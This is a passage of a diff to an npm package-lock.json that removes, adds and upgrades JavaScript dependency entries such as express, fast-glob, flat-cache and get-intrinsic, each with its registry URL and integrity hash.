"https://registry.npmjs.org/ethereum-bloom-filters/-/ethereum-bloom-filters-1.0.10.tgz", - "integrity": "sha512-rxJ5OFN3RwjQxDcFP2Z5+Q9ho4eIdEmSc2ht0fCu8Se9nbXjZ7/031uXoUYJ87KHCOdVeiUuwSnoS7hmYAGVHA==", - "dependencies": { - "js-sha3": "^0.8.0" - } - }, "node_modules/ethereum-common": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/ethereum-common/-/ethereum-common-0.2.0.tgz", @@ -8249,29 +7927,6 @@ "safe-buffer": "^5.1.1" } }, - "node_modules/ethereumjs-util": { - "version": "7.1.5", - "resolved": "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-7.1.5.tgz", - "integrity": "sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg==", - "dependencies": { - "@types/bn.js": "^5.1.0", - "bn.js": "^5.1.2", - "create-hash": "^1.1.2", - "ethereum-cryptography": "^0.1.3", - "rlp": "^2.2.4" - }, - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/ethereumjs-util/node_modules/@types/bn.js": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz", - "integrity": "sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==", - "dependencies": { - "@types/node": "*" - } - }, "node_modules/ethereumjs-vm": { "version": "2.6.0", "resolved": "https://registry.npmjs.org/ethereumjs-vm/-/ethereumjs-vm-2.6.0.tgz", @@ -8347,24 +8002,6 @@ "rlp": "^2.2.3" } }, - "node_modules/ethjs-unit": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/ethjs-unit/-/ethjs-unit-0.1.6.tgz", - "integrity": "sha512-/Sn9Y0oKl0uqQuvgFk/zQgR7aw1g36qX/jzSQ5lSwlO0GigPymk4eGQfeNTD03w1dPOqfz8V77Cy43jH56pagw==", - "dependencies": { - "bn.js": "4.11.6", - "number-to-bn": "1.7.0" - }, - "engines": { - "node": ">=6.5.0", - "npm": ">=3" - } - }, - "node_modules/ethjs-unit/node_modules/bn.js": { - "version": "4.11.6", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.6.tgz", - "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==" - }, "node_modules/ethjs-util": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/ethjs-util/-/ethjs-util-0.1.6.tgz", @@ -8379,9 +8016,9 @@ } }, "node_modules/eventemitter3": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.4.tgz", - "integrity": "sha512-rlaVLnVxtxvoyLsQQFBx53YmXHDxRIzzTLbdfxqi4yocpSjAxXwkU0cScM5JgSKMqEhrZpnvQ2D9gjylR0AimQ==" + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", + "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==" }, "node_modules/events": { "version": "3.3.0", @@ -8433,129 +8070,21 @@ } }, "node_modules/expect": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/expect/-/expect-29.0.1.tgz", - "integrity": "sha512-yQgemsjLU+1S8t2A7pXT3Sn/v5/37LY8J+tocWtKEA0iEYYc6gfKbbJJX2fxHZmd7K9WpdbQqXUpmYkq1aewYg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/expect/-/expect-29.7.0.tgz", + "integrity": "sha512-2Zks0hf1VLFYI1kbh0I5jP3KHHyCHpkfyHBzsSXRFgl/Bg9mWYfMW8oD+PdMPlEwy5HNsR9JutYy6pMeOh61nw==", "dev": true, "dependencies": { - "@jest/expect-utils": "^29.0.1", - "jest-get-type": "^29.0.0", - "jest-matcher-utils": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1" + "@jest/expect-utils": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/express": { - "version": "4.18.1", - "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", - "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", - "dependencies": { - "accepts": "~1.3.8", - "array-flatten": "1.1.1", - "body-parser": "1.20.0", - "content-disposition": "0.5.4", - "content-type": "~1.0.4", - "cookie": "0.5.0", - "cookie-signature": "1.0.6", - "debug": "2.6.9", - "depd": "2.0.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "1.2.0", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.7", - "qs": "6.10.3", - "range-parser": "~1.2.1", - "safe-buffer": "5.2.1", - "send": "0.18.0", - "serve-static": "1.15.0", - "setprototypeof": "1.2.0", - "statuses": "2.0.1", - "type-is": "~1.6.18", - "utils-merge": "1.0.1", - "vary": "~1.1.2" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/express/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/express/node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/express/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "node_modules/express/node_modules/qs": { - "version": "6.10.3", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", - "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", - "dependencies": { - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/express/node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/ext": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/ext/-/ext-1.6.0.tgz", - "integrity": "sha512-sdBImtzkq2HpkdRLtlLWDa6w4DX22ijZLKx8BMPUuKe1c5lbN6xwQDQCxSfxBQnHZ13ls/FH0MQZx/q/gr6FQg==", - "dependencies": { - "type": "^2.5.0" - } - }, - "node_modules/ext/node_modules/type": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/type/-/type-2.6.1.tgz", - "integrity": "sha512-OvgH5rB0XM+iDZGQ1Eg/o7IZn0XYJFVrN/9FQ4OWIYILyJJgVP2s1hLTOFn6UOZoDUI/HctGa0PFlE2n2HW3NQ==" - }, "node_modules/extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", @@ -8582,34 +8111,6 @@ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, - "node_modules/fast-glob": { - "version": "3.2.11", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", - "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", - "dev": true, - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.4" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fast-glob/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, "node_modules/fast-json-stable-stringify": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", @@ -8632,34 +8133,26 @@ "integrity": "sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==", "dev": true }, - "node_modules/fastq": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", - "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", - "dev": true, - "dependencies": { - "reusify": "^1.0.4" - } - }, "node_modules/fb-watchman": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.1.tgz", - "integrity": "sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", "dev": true, "dependencies": { "bser": "2.1.1" } }, "node_modules/file-entry-cache": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", - "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", "dev": true, + "license": "MIT", "dependencies": { - "flat-cache": "^3.0.4" + "flat-cache": "^4.0.0" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": ">=16.0.0" } }, "node_modules/file-loader": { @@ -8701,9 +8194,9 @@ } }, "node_modules/fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", "dev": true, "dependencies": { "to-regex-range": "^5.0.1" @@ -8712,54 +8205,7 @@ "node": ">=8" } }, - "node_modules/finalhandler": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", - "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", - "dependencies": { - "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "2.4.1", - "parseurl": "~1.3.3", - "statuses": "2.0.1", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/finalhandler/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/finalhandler/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "node_modules/find-cache-dir": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", - "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", - "dev": true, - "dependencies": { - "commondir": "^1.0.1", - "make-dir": "^3.0.2", - "pkg-dir": "^4.1.0" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/avajs/find-cache-dir?sponsor=1" - } - }, - "node_modules/find-cache-dir/node_modules/find-up": { + "node_modules/find-up": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", @@ -8772,46 +8218,7 @@ "node": ">=8" } }, - "node_modules/find-cache-dir/node_modules/locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "dependencies": { - "p-locate": "^4.1.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/find-cache-dir/node_modules/p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "dependencies": { - "p-try": "^2.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/find-cache-dir/node_modules/p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "dependencies": { - "p-limit": "^2.2.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/find-cache-dir/node_modules/path-exists": { + "node_modules/find-up/node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", @@ -8820,54 +8227,51 @@ "node": ">=8" } }, - "node_modules/find-cache-dir/node_modules/pkg-dir": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", "dev": true, - "dependencies": { - "find-up": "^4.0.0" - }, - "engines": { - "node": ">=8" + "bin": { + "flat": "cli.js" } }, - "node_modules/find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", "dev": true, + "license": "MIT", "dependencies": { - "locate-path": "^2.0.0" + "flatted": "^3.2.9", + "keyv": "^4.5.4" }, "engines": { - "node": ">=4" + "node": ">=16" } }, - "node_modules/flat-cache": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", - "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "node_modules/flatted": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.2.tgz", + "integrity": "sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==", "dev": true, + "license": "ISC" + }, + "node_modules/for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "license": "MIT", "dependencies": { - "flatted": "^3.1.0", - "rimraf": "^3.0.2" + "is-callable": "^1.2.7" }, "engines": { - "node": "^10.12.0 || >=12.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/flatted": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.2.tgz", - "integrity": "sha512-JaTY/wtrcSyvXJl4IMFHPKyFur1sE9AUqc0QnhOaJ0CxHtAoIV8pYDzeEfAaNEtGkOfq4gr3LBFmdXW5mOQFnA==", - "dev": true - }, - "node_modules/foreach": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", - "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=" - }, "node_modules/forever-agent": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", @@ -8889,62 +8293,17 @@ "node": ">= 0.12" } }, - "node_modules/form-data-encoder": { - "version": "1.7.1", - "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-1.7.1.tgz", - "integrity": "sha512-EFRDrsMm/kyqbTQocNvRXMLjc7Es2Vk+IQFx/YW7hkUH1eBl4J1fqiP34l74Yt0pFLCNpc06fkbVk00008mzjg==" - }, - "node_modules/forwarded": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", - "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", - "engines": { - "node": ">= 0.6" - } - }, "node_modules/fraction.js": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz", - "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==", + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz", + "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", "dev": true, "engines": { "node": "*" }, "funding": { "type": "patreon", - "url": "https://www.patreon.com/infusion" - } - }, - "node_modules/fresh": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", - "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/fs-extra": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz", - "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==", - "dependencies": { - "graceful-fs": "^4.1.2", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - } - }, - "node_modules/fs-minipass": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", - "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "minipass": "^3.0.0" - }, - "engines": { - "node": ">= 8" + "url": "https://github.com/sponsors/rawify" } }, "node_modules/fs.realpath": { @@ -8968,49 +8327,47 @@ } }, "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" - }, - "node_modules/functional-red-black-tree": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", - "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=" + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, - "node_modules/gauge": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.2.tgz", - "integrity": "sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==", + "node_modules/function.prototype.name": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz", + "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", "dev": true, - "optional": true, - "peer": true, + "license": "MIT", "dependencies": { - "aproba": "^1.0.3 || ^2.0.0", - "color-support": "^1.1.2", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.1", - "object-assign": "^4.1.1", - "signal-exit": "^3.0.0", - "string-width": "^4.2.3", - "strip-ansi": "^6.0.1", - "wide-align": "^1.1.2" + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "functions-have-names": "^1.2.3", + "hasown": "^2.0.2", + "is-callable": "^1.2.7" }, "engines": { - "node": ">=10" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/gaze": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", - "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=" + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "globule": "^1.0.0" - }, - "engines": { - "node": ">= 4.0.0" + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/gensync": { @@ -9030,21 +8387,32 @@ } }, "node_modules/get-func-name": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz", - "integrity": "sha1-6td0q+5y4gQJQzoGY2YCPdaIekE=", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz", + "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==", "engines": { "node": "*" } }, "node_modules/get-intrinsic": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", - "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", "dependencies": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.1" + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" @@ -9059,21 +8427,24 @@ "node": ">=8.0.0" } }, - "node_modules/get-stdin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", - "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", - "dev": true, - "optional": true, - "peer": true, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, "engines": { - "node": ">=0.10.0" + "node": ">= 0.4" } }, "node_modules/get-stream": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", "integrity": 